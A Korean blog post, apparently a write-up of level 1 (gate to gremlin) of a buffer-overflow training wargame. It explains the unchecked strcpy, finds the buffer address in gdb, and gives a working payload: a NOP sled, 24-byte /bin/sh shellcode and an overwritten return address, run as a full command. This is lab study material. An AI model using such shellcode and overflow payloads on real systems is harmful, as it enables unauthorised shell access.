일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
31 |
- ultra argv hunter
- pythoncli
- 포너블
- argc
- wolfman to darkelf
- orge to troll
- 결측치
- troll to
- 써니나타스
- 서니나타스
- 쉘코드
- lob 10번
- kosis
- kostat
- IS함수
- argv
- 데이터형
- lob 9번
- 자료개방포털
- R언어
- pyinstaller
- 범용레지스터 #레지스터 #어셈블리 #ASM #리버싱 #어셈블리어 #EAX #ESP
- lob 7번
- 마크업 언어
- lob
- pythonexe
- anxi0
- 빅데이터
- 써니나타스 1번
- mode함수
- Today
- Total
ANX1-Z3R0의 불안극복(不安克服)
001. lob 1번 | anxi0 본문
솔직히 처음 풀었을때는 잘 몰랐던 것들이 이제 좀 익숙해지니까 보이기 시작하더라.
expert blind area를 파악하는 용도쯤으로 생각하고 이제는 제대로 문제를 파악하여 풀어보려 한다.
gate 접속부터 하자.
login : gate
Password: gate
gremlin실행 파일과 소스코드로 추정되는 파일이 하나 있다.
cat으로 까보자
소스코드 내부이다.
256byte짜리 buffer를 생성,
argv[1]으로 넣은 내용을 buffer에 삽입, 그 내용을 printf하는 내용이다.
여기서 취약한 부분은 밑줄친 strcpy로, 삽입할 글자의 수를 지정하지 않았다.
BufferOverflow가 가능하다.
gdb로 분석해보자.
우선 분석용 파일을 복사시킨다. (쓰기 권한이 없으므로)
>>mkdir test
>>cp gremlin test
>>cd test
>>gdb -q gremlin
(gdb) set disassembly-flavor intel (인텔 문법으로 변경)
(gdb) disassembly main (메인함수 디스어셈블리)
이런게 나오는데,
겁먹지 말고 취약점만 찾아가자.
아까 취약점이 있는 부분이 뭐라고 했지? strcpy.
main+54부분에 있다.
그럼 일단 아무 값이나 넣어보고 이후에 상황을 보면 되겠지?
브레이크 포인트를 걸어주자.
(gdb) b *main+59
(gdb) r `python -c 'print "A*100'` (100개쯤 넣어보는 것이다. 버퍼의 시작 주소를 파악하기 위함이니)
(gdb) x/100x $esp (esp부터 아래로 쭉보면서 어떻게 채워졌는지 본다)
A=0x41이다. 41이 굉장히 많이 차있는 것을 볼 수 있다.
0xbffff9d8부터 버퍼의 시작인것이다.
그러면 우리는 함수의 에필로그에 따라 256byte 의 버퍼와 4byte의 sfp를 지나 ret에 도착하는데,
return 요 녀석이 아주 중요하다. 해당함수(strcpy)가 끝나고 어디로 갈지를 결정하기 때문이다.
따라서, 버퍼에 쉘을 따주는 함수를 넣어준 다음에 버퍼로 리턴을 시켜주면 쉘이 실행되는 것이다.
이 문제를 풀기 위해서 알아야 할 게 3가지 있다.
1. 쉘코드 = 쉘을 실행시키기 위한 문자열
2. ret = 함수가 끝나고 가는 주소
3. nop sled = no-operation(nop,\x90)으로 특정 글자의 해석없이 쭉 다음 실행문까지 내려가는 것
공격법(페이로드)는 다음과 같다.
버퍼(쉘코드+쓰레기값)+sfp(쓰레기 값)+ret(버퍼의주소)
여기서 쓰레기값으로 뭘 넣어도 상관이 없지만, 특히 nop(\x90,no-operation)으로 넣어주면 아무 처리 없이 쭈욱 실행되므로 좋다.
여기서 사용할 쉘코드는 웹에서 많이 떠돌아다니는 24byte shellcode를 사용하겠다.
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
페이로드는 문자열 처리가 쉬운 파이썬으로 편집하겠다.
따라서 `python -c 'print "\x90"*200+ "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*36 + "\xd8\xf9\xff\xbf"'`
여기서 의문점,
1. 왜 쉘코드+nop으로 하지 않았는가?
A. 쉘코드를 살짝 뒤에 넣고 리턴을 안전한 nop으로 보냄으로써 잘 실행 되도록 한다.
2. ret에 "\xd8\xf9\xff\xbf" 얘는 뭔가?
A. 버퍼의 시작주소인 0xbffff9d8로, 리틀엔디안 방식으로 넣어야 주소가 인식되므로 저런식으로 넣은 것이다.
3. python 문법
A. ``로 파이썬 실행문을 덮고, ""로 print문을 덮고, ''안에 문자열과 갯수만큼 곱해줌으로써 페이로드를 쉽게 짜는것이다. ('' ""의 위치는 바뀌어도 상관없다)
쉘코드를 인식하는 bash2쉘 입력한다.
>> bash2
원래 파일로 공격을 시도한다.
>> cd ..
>> ./gremlin `python -c 'print "\x90"*200+ "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*36 + "\xd8\xf9\xff\xbf"'`
bash$가 뜨면 성공,
규칙 대로 my-pass를 쳐서 다음 스텝의 비밀번호를 얻자.
'HACKING > [SYSTEM HACKING] LOB' 카테고리의 다른 글
003. lob 3번 | anxi0 (0) | 2020.07.28 |
---|---|
002. lob 2번 | anxi0 (0) | 2020.07.28 |
.iso 파일 VMware에 적용시키기 (0) | 2020.07.11 |
VMware 15.5 pro keygen 설치 방법 (0) | 2020.07.11 |
012. skeleton to golem | anxi0 (0) | 2019.04.03 |